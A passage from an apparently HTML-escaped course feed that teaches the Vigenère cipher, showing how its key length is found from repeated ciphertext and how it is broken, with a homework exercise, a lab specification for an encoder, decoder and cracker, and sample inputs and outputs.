&lt;img loading="lazy" src="img/vigenereSecondLetter.jpg"/&gt;
&lt;h4&gt;Third letter pair&lt;/h4&gt;
&lt;p&gt;as&lt;strong&gt;i&lt;/strong&gt;mpleexample&lt;/p&gt;
&lt;p&gt;ba&lt;strong&gt;t&lt;/strong&gt;tistabattis&lt;/p&gt;
&lt;img loading="lazy" src="img/vigenereThirdLetter.jpg"/&gt;
&lt;h4&gt;Finish Encoding the example above!&lt;/h4&gt;
&lt;code&gt;asimpleexample (plaintext)
  battistabattis (keytext)
  BSB??????????? (ciphertext)
&lt;/code&gt;
&lt;h4&gt;Decoding&lt;/h4&gt;
&lt;p&gt;Decoding the ciphertext requires that you know the key, and you align it with the ciphertext!&lt;/p&gt;
&lt;code&gt;
  battistabattis (keytext)
  BSB??????????? (ciphertext)
&lt;/code&gt;
&lt;h4&gt;First letter pair to decode&lt;/h4&gt;
&lt;p&gt;&lt;strong&gt;b&lt;/strong&gt;attistabattis&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;B&lt;/strong&gt;SB?????&lt;/p&gt;
&lt;p&gt;
  Use column b, and find the B in that column. Move to the leftmost letter that aligns with that B... which is the A.
&lt;/p&gt;
&lt;img loading="lazy" src="img/vigenereFirstLetter.jpg"/&gt;
&lt;h3&gt;The message fully encoded is:&lt;/h3&gt;
&lt;h5&gt;BSBFXDXEYAFITW&lt;/h5&gt;
&lt;h2&gt;Try to Decode:&lt;/h2&gt;
&lt;pre&gt;Ciphertext: LBTQRJCDFIGNWIIK
Key:        SUPERSUPERSUPERS&lt;/pre&gt;
&lt;h4&gt;Why is this better?&lt;/h4&gt;
&lt;p&gt;Look at this plaintext:&lt;/p&gt;
&lt;code&gt;Aged twenty six, Vigenere was sent to Rome on a diplomatic mission. It was here that he became acquainted with the writings of Alberti, Trithemius and Porta, and his interest in cryptography was ignited. For many years, cryptography was nothing more than a tool that helped him his diplomatic work, but at the age of thirty nine, Vigènere decided that he had amassed enough money to be able to abandon his career and concentrate on a life of study. It was only then that he began research into a new cipher.&lt;/code&gt;
&lt;p&gt;Now let us look at two ciphertexts.&lt;/p&gt;
&lt;p&gt; The first one is encrypted with a monoalphabetic cipher:&lt;/p&gt;
&lt;code&gt;ETYR QVYIQX OBW, UBTYIYMY VEO OYIQ QJ MJHY JI E RBKGJHEQBC HBOOBJI. BQ VEO AYMY QAEQ AY NYCEHY ECLSEBIQYR VBQA QAY VMBQBITO JP EGNYMQB, QMBQAYHBSO EIR KJMQE, EIR ABO BIQYMYOQ BI CMXKQJTMEKAX VEO BTIBQYR. PJM HEIX XYEMO, CMXKQJTMEKAX VEO IJQABIT HJMY QAEI E QJJG QAEQ AYGKYR ABH ABO RBKGJHEQBC VJMF, NSQ EQ QAY ETY JP QABMQX IBIY, UBTYIYMY RYCBRYR QAEQ AY AER EHEOOYR YIJSTA HJIYX QJ NY ENGY QJ ENEIRJI ABO CEMYYM EIR CJICYIQMEQY JI E GBPY JP OQSRX. BQ VEO JIGX QAYI QAEQ AY NYTEI MYOYEMCA BIQJ E IYV CBKAYM.&lt;/code&gt;
&lt;p&gt;The second is encrypted with a vigenere cipher&lt;/p&gt;
&lt;code&gt;ETGU RLXRGA JGM, OMTGECGX ANU JCCM XB TFKT HR N FZNAHQNVZA BBWFKFL. XM ANU YCGX XUCK FT UIPCDC PVUHCZLIXH JKKF IAI JTZRXGKF QW YAUIEVZ, RGBXUGDGJL EAF GMGME, NPU FXL MAVVPTLX VP TPNIXBIIYEAC JCJ GVGMGGU. DDK QNPP WTTVF, EIWEMSTTRNWR ANU EMIAMAI DMGX XUCE Y IHSY VYYI AIYRVB WBQ UKJ BXIPBORRXV ABTB, ZJM EG VYC PZI BH KFXKXL PZLT, OMTGECGX HREZBTW XUCK FT AEQ CDYHLIQ GEMJZL ZQECN MS OG RZAX XB CSYCWSA JZQ RTVRGI YCW GBPTCCMVNVV MC T PVHV MU LXHFP. GI PEF QEJN MLRP KFPM LR DVEPG VRUVYGVL VPKM P GIJ EZNWXV&lt;/code&gt;
&lt;p&gt;Assuming you ran frequency analysis on these texts and generate graphs, you could see the following:&lt;/p&gt;
&lt;p&gt;letter distribution of plaintext:&lt;/p&gt;
&lt;img loading="lazy" src="img/plaindist.jpg"/&gt;
&lt;p&gt;letter distribution of monoalphabetic cipher:&lt;/p&gt;
&lt;img loading="lazy" src="img/monocipherdist.jpg"/&gt;
&lt;p&gt;letter distribution of vigenere cipher:&lt;/p&gt;
&lt;img loading="lazy" src="img/vigeneredist.jpg"/&gt;
&lt;h3&gt;Shortcomings of Vigenere cypher&lt;/h3&gt;
&lt;p&gt;
  An attacker that knows the length of the key (or calculates it based on the distance between matching ciphertext)
  they can then break the cipher by analyzing subsets of letters.
  If the key length is 3, then you can make three groups of letters,
  and those groups will all have the same frequency patterns as normal text.&lt;/p&gt;
&lt;h4&gt;Repetitions in Ciphertext are a weakness:&lt;/h4&gt;
&lt;p&gt;It is not difficult to find the length of the key when keys are sufficiently short.
  Searching for blocks of ciphertext that look the same we can assume they are the same plaintext
  (for sufficiently large blocks of matching text, clearly not every pair of matching letters is the same plaintext.)
&lt;/p&gt;
&lt;p&gt;This is because repetition in the plaintext, could align with the same letters of the key:&lt;/p&gt;
&lt;h4&gt;Example:&lt;/h4&gt;
&lt;code&gt;
  "saysyoussaysmessaysitsnow" (plaintext)
  "paperpaperpaperpaperpaper" (key)
&lt;/code&gt;
&lt;p&gt;Two of the words "say" ("&lt;strong&gt;say&lt;/strong&gt;syoussaysmes&lt;strong&gt;say&lt;/strong&gt;sitsnow") align with "pap" thus they will have the same ciphertext &lt;/p&gt;
&lt;h3&gt;Lets look at how we can find the keylength&lt;/h3&gt;
&lt;pre&gt;
  VHVSSPQUCEMRVBVBBBVHVSURQGIBDUGRNICJQUCERVUAXSSR
  ^     ^           ^                 ^
  0     6           18                36
&lt;/pre&gt;
&lt;p&gt;The distance between the repetitions of VHVS is 18.&lt;/p&gt;
&lt;p&gt;The key length could be 18, 9, 6, 3, 2 or 1 character long.&lt;/p&gt;
&lt;p&gt;The distance between the repetitions of QUCE is 30 characters.&lt;/p&gt;
&lt;p&gt;The key length could be 30, 15, 10, 6, 5, 3, 2 or 1 character long.&lt;/p&gt;
&lt;p&gt;By taking the intersection of those sets, one could safely conclude that the most likely key length is 6 since 3, 2, and 1 are unrealistically short.&lt;/p&gt;
&lt;h4&gt;Use longer keys!&lt;/h4&gt;
&lt;p&gt;Frequency analysis fails when the key is a large fraction of the message, certainly when the key is equal in length to the message.&lt;/p&gt;
&lt;h3&gt;Computers can do it too!&lt;/h3&gt;
&lt;p&gt;On paper a lookup table is faster for humans.&lt;/p&gt;
&lt;p&gt;Think about how a computer program could be implemented.
  In effect, the index of each row in the table tells you
  how many characters to shift each letter of the plaintext by.
  &lt;br/&gt;Row (A) is 0, so there is no rotation,
  &lt;br/&gt;row (B) is 1, so you rotate left by 1.
  &lt;br/&gt;row (C) is 2, so you rotate left by 2,etc.
&lt;/p&gt;
&lt;h3&gt;Use Long Keys&lt;/h3&gt;
&lt;p&gt;If the keyword is &lt;strong&gt;as long as&lt;/strong&gt; the plaintext, the cipher is unbreakable if a new key is used for every message.&lt;/p&gt;
&lt;p&gt;Suppose you recieved the following encrypted message:&lt;/p&gt;
&lt;code&gt;JTLOMFJRCSXM&lt;/code&gt;
&lt;p&gt;If the receiver uses the keyword &lt;code&gt;hfikeniaoitz&lt;/code&gt; they would receive the message:&lt;/p&gt;
&lt;p&gt; &lt;code&gt;CODEISBROKEN&lt;/code&gt; &lt;/p&gt;
&lt;p&gt;If the receiver uses the keyword &lt;code&gt;hfikenrnaygi&lt;/code&gt; they would receive the message:&lt;/p&gt;
&lt;p&gt;&lt;code&gt;CODEISSECURE&lt;/code&gt; &lt;/p&gt;
&lt;p&gt;
  Even if it were possible to calculate all the possible keywords of length 12 in a reasonable amount of time, the ciphertext would produce every sensible message of length 12.
   There is no way to determine which message the sender wished to communicate
 &lt;/p&gt;
&lt;p&gt;One can use a long key like a paragraph or chapter of a book, and that would prevent frequency analysis.&lt;/p&gt;
&lt;h3&gt;Fake a long key!&lt;/h3&gt;
&lt;p&gt;
  Another way to make a long key is to encrypt it multiple times using keys of different lengths:
&lt;/p&gt;
&lt;p&gt;
  A key of GO would shift letters by 6 then 14 then 6 then 14
&lt;/p&gt;
&lt;p&gt;
  A key of CAT would shift letters by 2 then 0 then 19...
&lt;/p&gt;
&lt;p&gt;Encrypting once with each key has an effective length longer than the two keys:&lt;/p&gt;
&lt;code&gt;Text:  ATTACKATDAWN
Key1:  GOGOGOGOGOGO
Key2:  CATCATCATCAT [pairs of letters after 6th character]
Ciph:  IHSQIRIHCQCU
&lt;/code&gt;
&lt;ul&gt;
&lt;li&gt;A is shifted by G then C (6 + 2)&lt;/li&gt;
&lt;li&gt;T is shiffted by O then A (14 + 0)&lt;/li&gt;
&lt;li&gt;T is shifted by G then T  (6 + 19)&lt;/li&gt;
&lt;li&gt;A is shifted by O then C (14 + 2)&lt;/li&gt;
&lt;li&gt;C is shifted by G then A (6 + 0)&lt;/li&gt;
&lt;li&gt;K is shifted by O then T (14 + 19)  [after this it repeats back to G+C]&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;
  Key1 has length of 2, Key2 has length of 3, but the effective length of the key is the product of their lengths or 6, as there are 6 different shifted totals created by this. (The effective length is the least common multiple of all the keys) Prime numbers LCM's will be the product of their lengths which allows for very large effective key sizes.
&lt;/p&gt;
&lt;p&gt;
  Encrypting three times using key sizes 5, 13, 19 would create an effective key size of 1235
&lt;/p&gt;
&lt;p&gt;
  Note that for the Equal length keys such as "FISH" "PORK" "CHIP" "YUMM" would NOT produce a better result,
  as their relative lengths have a common multiple of 4.
&lt;/p&gt;
&lt;h3&gt;Crack Vigenere&lt;/h3&gt;
&lt;h3 id="2025-02-27h"&gt;Homework (Lab 1.5)&lt;/h3&gt;
&lt;p&gt;You have 2 nights to work on this assignment. It requires that your lab01 works. If that is not the case you need to fix it first.&lt;/p&gt;
&lt;p&gt;Github link: &lt;a href="https://classroom.github.com/a/V1Q3bcHA"&gt;https://classroom.github.com/a/V1Q3bcHA&lt;/a&gt; &lt;/p&gt;
&lt;p&gt;Here is some well known text encrypted with  a Vigenere cypher (using a reasonably short key relative to the text size):&lt;/p&gt;
&lt;p style="word-wrap:break-word"&gt;
  DVYCNZVJIHNVMNBDFTRRSNNXPIRMFMZZOYUFXGBEHKEVDDFVMTURWDAXMDGKMZBIOJZFOZLZOHLGVMFVBIQEPOUZOBCRSOVTVGNIUJVEUZEVTOZVPIFYPMRZUCBLHCGZXJHCENNZMVOFVONCJOGCFVAUTZRKIZJRUZEPQVEKPAGYFRBIMYVKJNNNBTVYBQRFGYEZWDAXPASKIZFGMZREBIQIFBHCBOVEHOUVDDETVGNKJJANIZAVWZEZGDAUNTFVMATIPRVEHBEZNVOFVOGYFHBLUCJYFIRMFMVKJNNUBHCUSDMQMTAFWZZSFMVENTFFVGJYFIRMFMVWJIQDZNRCGDAMPGHEUVEZMTCRVNVEHWRWPMRTPASZORNIFCBLTZFROYOIJITZOBHGUCRIFVEFGZIVSTSLOZERMDZVFONEEZFGFXVRMGLNIZAVWZEDZCLGPNTVUNHTIVALQKRIIVAUPAZVUCNKJOEVRPVIFNNJUMBEHHBIBGCIJIPZQGRKPKEVWZAKNZSIPHQVMDOVSVGVMTFKFKCZOBVEUJGYFNGIFZGROYZVUCBUJXNCMTXEPXXZOBCVPKYVTCNKTJSWUCREJVPTPPAKJOUZHCGZNZGFHZGKPNRRBNFFPINJJXNEUCVJJNZPTPOJUDGLUZSFSKVJUJYROYORMGJZUCNGIDYFTJCYJXNCGGBLSDFYDVGFUCEFXNUZNNRCGPCFOCVJTRBIEDDLJZGCZONBFOBKIZFYJKGYFMRZTIBKIDAXTPEGSDFZOBVEUCVJJAGYFTOLUFAVXDGRMHBJUVYCNZAZOOUVJMQVHMRVTJZVUDZVPMBKIZETIZEZTCIVSTAVBMYPUCRJBHRWFZYZOBFKPRNIENGYFJPVBIJZUCZVUCRIFIBNJNLFVMVETPYRSXVKZJSKIZZROCNKUJRJCZYKFYEFVIQSZRURSQRJBNVEEDNEJNYVTWLTPMNCSZRWTXBDNZETFNHISJHEENVKXDGYIZEJVMSIJBUKBIQCFAGKIZFKSZRKTONBFTBLXVGVSRNIEDGJFSGIFHRUPRAKPRAZTOUVCVGKFMLNIZEVUCNKOJOCFHBCFDFNBNUVEWLNBQRJBIQTPJYVEWLSSZRQFNJYJXURGZJYPPEJQMRMJJHJXZEVPPGFGNVXIOBWMVAUMJBBBOGYFXEFXYFFGRNKFMTRAZEJUCRIF
&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;(MANUALLY) Find repeating groups of letters. (This is not a code exercise! Search by eye for repeated strings, or use control-F (search))&lt;/li&gt;
&lt;li&gt;(MANUALLY) Calculate the distance between the matching strings. This takes 2 seconds using a programming language e.g. &lt;pre&gt; &lt;code&gt;$python
  &amp;gt;&amp;gt;&amp;gt; len("asdlfkjalfjaslfjaslfjaslfjkasflj")
  34
  &amp;gt;&amp;gt;&amp;gt;&lt;/code&gt;&lt;/pre&gt; or
  &lt;p&gt;&lt;code&gt;$echo -n "asdlfkjalfjaslfjaslfjaslfjkasflj" | wc&lt;/code&gt;&lt;/p&gt; &lt;p&gt;Note, echo adds a "\n" to the end of your text, so the &lt;code&gt;-n&lt;/code&gt; flag will prevent that. &lt;/p&gt; &lt;/li&gt;
&lt;li&gt;(MANUALLY) Try to find the key length by finding the overlapping common factors of the distances. (do this manually)&lt;/li&gt;
&lt;li&gt;BEFORE YOU CODE - place a text file with your explanation of how you calculated the keylength in the repo and commit and push it!&lt;/li&gt;
&lt;li&gt;(PROGRAM) Assuming you have the correct key-length, break the text into key-length different piles  (use a programming language, but python slices work well.)&lt;/li&gt;
&lt;li&gt;(PROGRAM) Run your ceasar cracker from your 1st lab to get decoded strings.&lt;/li&gt;
&lt;li&gt;(PROGRAM) Merge the decoded strings back together (use a programming language)&lt;/li&gt;
&lt;/ol&gt;
&lt;h3&gt;Java/Python String concatenation is slow...&lt;/h3&gt;
&lt;p&gt;For large data sets, you do NOT want to use a bunch of string concatenation operations in java or python. (Since strings are mutable in c, you just need a large enough buffer.)&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;public class StringBuilderExample {
    public static void main(String[] args) {
        StringBuilder sb = new StringBuilder();
        //slow way commented out
        //String s =  "";
        for (int i = 0; i &amp;lt; 1000000; i++) {
            sb.append("Number: ").append(i).append("\n");
            //s += "Number: ";
            //s += i + ;
            //s += "\n";
        }
        String result = sb.toString();//faster than calculating s
    }
}&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code&gt;string_list = []
#s=""
for i in range(1000000):
        string_list.append("Number: ")
        string_list.append(str(i))
        string_list.append("\n")
        #s+="Number: ";
        #s+=str(i)
        #s+="\n"

final_string = "".join(string_list)#faster than calculating s
&lt;/code&gt; &lt;/pre&gt;
&lt;p&gt;&lt;a href="#TOP"&gt;go back to the top of the page&lt;/a&gt;&lt;/p&gt;
&lt;/div&gt;</content><link href="https://konstantinnovation.github.io/cyber.html#2025-02-26n"/><published>2025-02-26T12:00:00+00:00</published></entry><entry><id>2026-03-02n</id><title> 2026-03-02</title><updated>2026-03-02T12:00:00+00:00</updated><content type="html">&lt;div class="contentBlock" id="2026-03-02n"&gt;
&lt;h5&gt; 2026-03-02&lt;/h5&gt;
&lt;h3&gt;Vigenere weakness&lt;/h3&gt;
&lt;p&gt;What if you know part of the message? How can this help you break the cipher?&lt;/p&gt;
&lt;h3&gt;Quick, break the code:&lt;/h3&gt;
&lt;p&gt;Someone is sending The answers to important questions in life. Not the questions themselves, just the answers. &lt;/p&gt;
&lt;p&gt;You snuck a peak at two of the decoded messages:&lt;/p&gt;
&lt;p&gt;&lt;code&gt;THEANSWERISDONTWORRYBEHAPPY&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;&lt;code&gt;THEANSWERISJUSTDOIT&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;You were discovered and prohibited from reading the most important secret. Instead you decided to intercept the final message in it's encoded form. Since it contains the final answer you wish to decode this message:&lt;/p&gt;
&lt;p&gt;You found the encoded text: &lt;code&gt;VVQPYWTGFUHQSOVMFLZ&lt;/code&gt; &lt;/p&gt;
&lt;p&gt;How can we try to break this message without computers?&lt;/p&gt;
&lt;h3 id="2026-03-02h"&gt;Vigenere Lab!&lt;/h3&gt;
&lt;p&gt;You will write a tool that will act as a vigenere encoder/decoder/cracker.&lt;/p&gt;
&lt;h4&gt;cracking methodology:&lt;/h4&gt;
&lt;p&gt;To getkey or crack (same process with different outputs), you will brute force the system using the same methodology you used on your prior homework.&lt;/p&gt;
&lt;p&gt;You previously knew the keylength broke up the text into 4 piles, used your ceasar craker on that text, then joined the text back together.&lt;/p&gt;
&lt;p&gt;You will do the same thing to crack the cipher, but you will do it 12 times, for all keysizes = {1,2,3...,12}&lt;/p&gt;
&lt;p&gt;After you crack it 12 times, do your distance calculation with the resultant text, and compare it to english. The closest one to english will be the correctly cracked text.&lt;/p&gt;
&lt;p&gt;If you are running getkey, the output should be the key in string form (not numbers) so you need to keep track of your rotations and output the correct key based on those.&lt;/p&gt;
&lt;h3&gt;Lab02 repo&lt;/h3&gt;
&lt;p&gt;Please clone your lab02: &lt;a href="https://classroom.github.com/a/ZVBhLg07"&gt;https://classroom.github.com/a/ZVBhLg07&lt;/a&gt; &lt;/p&gt;
&lt;h3&gt;Required make Recipes:&lt;/h3&gt;
&lt;ol&gt;
&lt;li&gt;&lt;p&gt;encode: Print the ciphertext after encoding. All spaces and punctuation are removed.&lt;/p&gt;
   example: &lt;code&gt;make encode ARGS="plaintextfile keyfile"&lt;/code&gt; &lt;/li&gt;
&lt;li&gt;&lt;p&gt;decode: Print the ciphertext after encoding. All spaces and punctuation are removed.&lt;/p&gt;
   example: &lt;code&gt;make decode ARGS="ciphertext keyfile"&lt;/code&gt; &lt;/li&gt;
&lt;li&gt;&lt;p&gt;getkey: Print the most likely key. Keysize 12 will be the maximum size you have to check for. If two keys have the same similarity to english, use the smaller key.&lt;/p&gt;
   example: &lt;code&gt;make getkey ARGS="ciphertextfile"&lt;/code&gt; &lt;/li&gt;
&lt;li&gt;&lt;p&gt;crack: Print the most likely plaintext. Keysize 12 will be the maximum size you have to check for. If two keys have the same similarity to english, use the smaller key.&lt;/p&gt;
   example: &lt;code&gt;make crack ARGS="ciphertextfile"&lt;/code&gt; &lt;/li&gt;
&lt;/ol&gt;
&lt;h3&gt;Output&lt;/h3&gt;
&lt;p&gt;The output should be all caps, no spaces or punctuation.&lt;/p&gt;
&lt;h3&gt;Examples&lt;/h3&gt;
&lt;p&gt;You can place any of the previously given examples to help you test, but here are some samples of plaintext/key/ciphertext:&lt;/p&gt;
&lt;h4&gt;example encode&lt;/h4&gt;
&lt;p&gt;plain.txt : &lt;code&gt;We know what we are, but not what we may be.&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;key.txt : &lt;code&gt;ABCDEFG&lt;/code&gt; &lt;/p&gt;
&lt;pre&gt;&lt;code&gt;make encode ARGS="plain.txt key.txt"
WFMQSBCHBVZIFXECWWRTZWICWAJSAZDH&lt;/code&gt;&lt;/pre&gt;
&lt;h4&gt;example encode&lt;/h4&gt;
&lt;p&gt;plain.txt: &lt;code&gt; Wherever you go there you are!&lt;/code&gt; &lt;/p&gt;
&lt;p&gt;key.txt: &lt;code&gt;ASDF&lt;/code&gt; &lt;/p&gt;
&lt;pre&gt;&lt;code&gt;$ make encode ARGS="plain.txt key.txt"
WZHWENHWYGXLOLKJRWBTUSUJ&lt;/code&gt;&lt;/pre&gt;
&lt;h4&gt;example encode + decode&lt;/h4&gt;
&lt;p&gt;plain.txt: &lt;code&gt;We know what we are, but not what we may be.&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;key.txt : &lt;code&gt;ZYXABC&lt;/code&gt; &lt;/p&gt;
&lt;pre&gt;&lt;code&gt;$ make encode ARGS="plain.txt key.txt" &amp;gt; cipher.txt
$ cat cipher.txt
VCHNPYVFXTXGZPBBVVMMQWICSUBMBAAC
$ make decode ARGS="cipher.txt key.txt"
WEKNOWWHATWEAREBUTNOTWHATWEMAYBE&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;Examples with getkey / crack  :&lt;/h3&gt;
&lt;p&gt;(The text for each file is listed after the example)&lt;/p&gt;
&lt;h4&gt;Example getkey:&lt;/h4&gt;
&lt;pre&gt;&lt;code&gt;$ make getkey ARGS="OrwellLong.txt"
THISISLONGER&lt;/code&gt;&lt;/pre&gt;
&lt;h4&gt;Example crack: &lt;/h4&gt;
&lt;p&gt;(This example work with OrwellLong.txt AND OrwellShort.txt)&lt;/p&gt;
&lt;code style="word-wrap:break-word"&gt;make crack ARGS="OrwellLong.txt"
ITWASABRIGHTCOLDDAYINAPRILANDTHECLOCKSWERESTRIKINGTHIRTEENWINSTONSMITHHISCHINNUZZLEDINTOHISBREASTINANEFFORTTOESCAPETHEVILEWINDSLIPPEDQUICKLYTHROUGHTHEGLASSDOORSOFVICTORYMANSIONSTHOUGHNOTQUICKLYENOUGHTOPREVENTASWIRLOFGRITTYDUSTFROMENTERINGALONGWITHHIMTHEHALLWAYSMELTOFBOILEDCABBAGEANDOLDRAGMATSATONEENDOFITACOLOUREDPOSTERTOOLARGEFORINDOORDISPLAYHADBEENTACKEDTOTHEWALLITDEPICTEDSIMPLYANENORMOUSFACEMORETHANAMETREWIDETHEFACEOFAMANOFABOUTFORTYFIVEWITHAHEAVYBLACKMOUSTACHEANDRUGGEDLYHANDSOMEFEATURESWINSTONMADEFORTHESTAIRSITWASNOUSETRYINGTHELIFTEVENATTHEBESTOFTIMESITWASSELDOMWORKINGANDATPRESENTTHEELECTRICCURRENTWASCUTOFFDURINGDAYLIGHTHOURSITWASPARTOFTHEECONOMYDRIVEINPREPARATIONFORHATEWEEKTHEFLATWASSEVENFLIGHTSUPANDWINSTONWHOWASTHIRTYNINEANDHADAVARICOSEULCERABOVEHISRIGHTANKLEWENTSLOWLYRESTINGSEVERALTIMESONTHEWAYONEACHLANDINGOPPOSITETHELIFTSHAFTTHEPOSTERWITHTHEENORMOUSFACEGAZEDFROMTHEWALLITWASONEOFTHOSEPICTURESWHICHARESOCONTRIVEDTHATTHEEYESFOLLOWYOUABOUTWHENYOUMOVEBIGBROTHERISWATCHINGYOUTHECAPTIONBENEATHITRANINSIDETHEFLATAFRUITYVOICEWASREADINGOUTALISTOFFIGURESWHICHHADSOMETHINGTODOWITHTHEPRODUCTIONOFPIGIRONTHEVOICECAMEFROMANOBLONGMETALPLAQUELIKEADULLEDMIRRORWHICHFORMEDPARTOFTHESURFACEOFTHERIGHTHANDWALLWINSTONTURNEDASWITCHANDTHEVOICESANKSOMEWHATTHOUGHTHEWORDSWERESTILLDISTINGUISHABLETHEINSTRUMENTTHETELESCREENITWASCALLEDCOULDBEDIMMEDBUTTHEREWASNOWAYOFSHUTTINGITOFFCOMPLETELYHEMOVEDOVERTOTHEWINDOWASMALLISHFRAILFIGURETHEMEAGRENESSOFHISBODYMERELYEMPHASIZEDBYTHEBLUEOVERALLSWHICHWERETHEUNIFORMOFTHEPARTYHISHAIRWASVERYFAIRHISFACENATURALLYSANGUINEHISSKINROUGHENEDBYCOARSESOAPANDBLUNTRAZORBLADESANDTHECOLDOFTHEWINTERTHATHADJUSTENDEDOUTSIDEEVENTHROUGHTHESHUTWINDOWPANETHEWORLDLOOKEDCOLDDOWNINTHESTREETLITTLEEDDIESOFWINDWEREWHIRLINGDUSTANDTORNPAPERINTOSPIRALSANDTHOUGHTHESUNWASSHININGANDTHESKYAHARSHBLUETHERESEEMEDTOBENOCOLOURINANYTHINGEXCEPTTHEPOSTERSTHATWEREPLASTEREDEVERYWHERETHEBLACKMOUSTACHIODFACEGAZEDDOWNFROMEVERYCOMMANDINGCORNERTHEREWASONEONTHEHOUSEFRONTIMMEDIATELYOPPOSITEBIGBROTHERISWATCHINGYOUTHECAPTIONSAIDWHILETHEDARKEYESLOOKEDDEEPINTOWINSTONSOWNDOWNATSTREETLEVELANOTHERPOSTERTORNATONECORNERFLAPPEDFITFULLYINTHEWINDALTERNATELYCOVERINGANDUNCOVERINGTHESINGLEWORDINGSOCINTHEFARDISTANCEAHELICOPTERSKIMMEDDOWNBETWEENTHEROOFSHOVEREDFORANINSTANTLIKEABLUEBOTTLEANDDARTEDAWAYAGAINWITHACURVINGFLIGHTITWASTHEPOLICEPATROLSNOOPINGINTOPEOPLESWINDOWSTHEPATROLSDIDNOTMATTERHOWEVERONLYTHETHOUGHTPOLICEMATTEREDBEHINDWINSTONSBACKTHEVOICEFROMTHETELESCREENWASSTILLBABBLINGAWAYABOUTPIGIRONANDTHEOVERFULFILMENTOFTHENINTHTHREEYEARPLANTHETELESCREENRECEIVEDANDTRANSMITTEDSIMULTANEOUSLYANYSOUNDTHATWINSTONMADEABOVETHELEVELOFAVERYLOWWHISPERWOULDBEPICKEDUPBYITMOREOVERSOLONGASHEREMAINEDWITHINTHEFIELDOFVISIONWHICHTHEMETALPLAQUECOMMANDEDHECOULDBESEENASWELLASHEARDTHEREWASOFCOURSENOWAYOFKNOWINGWHETHERYOUWEREBEINGWATCHEDATANYGIVENMOMENTHOWOFTENORONWHATSYSTEMTHETHOUGHTPOLICEPLUGGEDINONANYINDIVIDUALWIREWASGUESSWORKITWASEVENCONCEIVABLETHATTHEYWATCHEDEVERYBODYALLTHETIMEBUTATANYRATETHEYCOULDPLUGINYOURWIREWHENEVERTHEYWANTEDTOYOUHADTOLIVEDIDLIVEFROMHABITTHATBECAMEINSTINCTINTHEASSUMPTIONTHATEVERYSOUNDYOUMADEWASOVERHEARDANDEXCEPTINDARKNESSEVERYMOVEMENTSCRUTINIZEDWINSTONKEPTHISBACKTURNEDTOTHETELESCREENITWASSAFERTHOUGHASHEWELLKNEWEVENABACKCANBEREVEALINGAKILOMETREAWAYTHEMINISTRYOFTRUTHHISPLACEOFWORKTOWEREDVASTANDWHITEABOVETHEGRIMYLANDSCAPETHISHETHOUGHTWITHASORTOFVAGUEDISTASTETHISWASLONDONCHIEFCITYOFAIRSTRIPONEITSELFTHETHIRDMOSTPOPULOUSOFTHEPROVINCESOFOCEANIAHETRIEDTOSQUEEZEOUTSOMECHILDHOODMEMORYTHATSHOULDTELLHIMWHETHERLONDONHADALWAYSBEENQUITELIKETHISWERETHEREALWAYSTHESEVISTASOFROTTINGNINETEENTHCENTURYHOUSESTHEIRSIDESSHOREDUPWITHBAULKSOFTIMBERTHEIRWINDOWSPATCHEDWITHCARDBOARDANDTHEIRROOFSWITHCORRUGATEDIRONTHEIRCRAZYGARDENWALLSSAGGINGINALLDIRECTIONSANDTHEBOMBEDSITESWHERETHEPLASTERDUSTSWIRLEDINTHEAIRANDTHEWILLOWHERBSTRAGGLEDOVERTHEHEAPSOFRUBBLEANDTHEPLACESWHERETHEBOMBSHADCLEAREDALARGERPATCHANDTHEREHADSPRUNGUPSORDIDCOLONIESOFWOODENDWELLINGSLIKECHICKENHOUSESBUTITWASNOUSEHECOULDNOTREMEMBERNOTHINGREMAINEDOFHISCHILDHOODEXCEPTASERIESOFBRIGHTLITTABLEAUXOCCURRINGAGAINSTNOBACKGROUNDANDMOSTLYUNINTELLIGIBLE&lt;/code&gt;
&lt;p&gt;I am adding only one block of text with two keylengths to give you something you can test against.&lt;/p&gt;
&lt;p&gt;Contents of &lt;code&gt;OrwellPlain.txt&lt;/code&gt; &lt;/p&gt;
&lt;p&gt;&lt;code&gt;It was a bright cold day in April, and the clocks were striking thirteen. Winston Smith, his chin nuzzled into his breast in an effort to escape the vile wind, slipped quickly through the glass doors of Victory Mansions, though not quickly enough to prevent a swirl of gritty dust from entering along with him.
  The hallway smelt of boiled cabbage and old rag mats. At one end of it a coloured poster, too large for indoor display, had been tacked to the wall. It depicted simply an enormous face, more than a metre wide: the face of a man of about forty-five, with a heavy black moustache and ruggedly handsome features. Winston made for the stairs. It was no use trying the lift. Even at the best of times it was seldom working, and at present the electric current was cut off during daylight hours. It was part of the economy drive in preparation for Hate Week. The flat was seven flights up, and Winston, who was thirty-nine and had a varicose ulcer above his right ankle, went slowly, resting several times on the way. On each landing, opposite the lift-shaft, the poster with the enormous face gazed from the wall. It was one of those pictures which are so contrived that the eyes follow you about when you move. BIG BROTHER IS WATCHING YOU, the caption beneath it ran.
  Inside the flat a fruity voice was reading out a list of figures which had something to do with the production of pig-iron. The voice came from an oblong metal plaque like a dulled mirror which formed part of the surface of the right-hand wall. Winston turned a switch and the voice sank somewhat, though the words were still distinguishable. The instrument (the telescreen, it was called) could be dimmed, but there was no way of shutting it off completely. He moved over to the window: a smallish, frail figure, the meagreness of his body merely emphasized by the blue overalls which were the uniform of the party. His hair was very fair, his face naturally sanguine, his skin roughened by coarse soap and blunt razor blades and the cold of the winter that had just ended.
  Outside, even through the shut window-pane, the world looked cold. Down in the street little eddies of wind were whirling dust and torn paper into spirals, and though the sun was shining and the sky a harsh blue, there seemed to be no colour in anything, except the posters that were plastered everywhere. The blackmoustachio'd face gazed down from every commanding corner. There was one on the house-front immediately opposite. BIG BROTHER IS WATCHING YOU, the caption said, while the dark eyes looked deep into Winston's own. Down at streetlevel another poster, torn at one corner, flapped fitfully in the wind, alternately covering and uncovering the single word INGSOC. In the far distance a helicopter skimmed down between the roofs, hovered for an instant like a bluebottle, and darted away again with a curving flight. It was the police patrol, snooping into people's windows. The patrols did not matter, however. Only the Thought Police mattered.
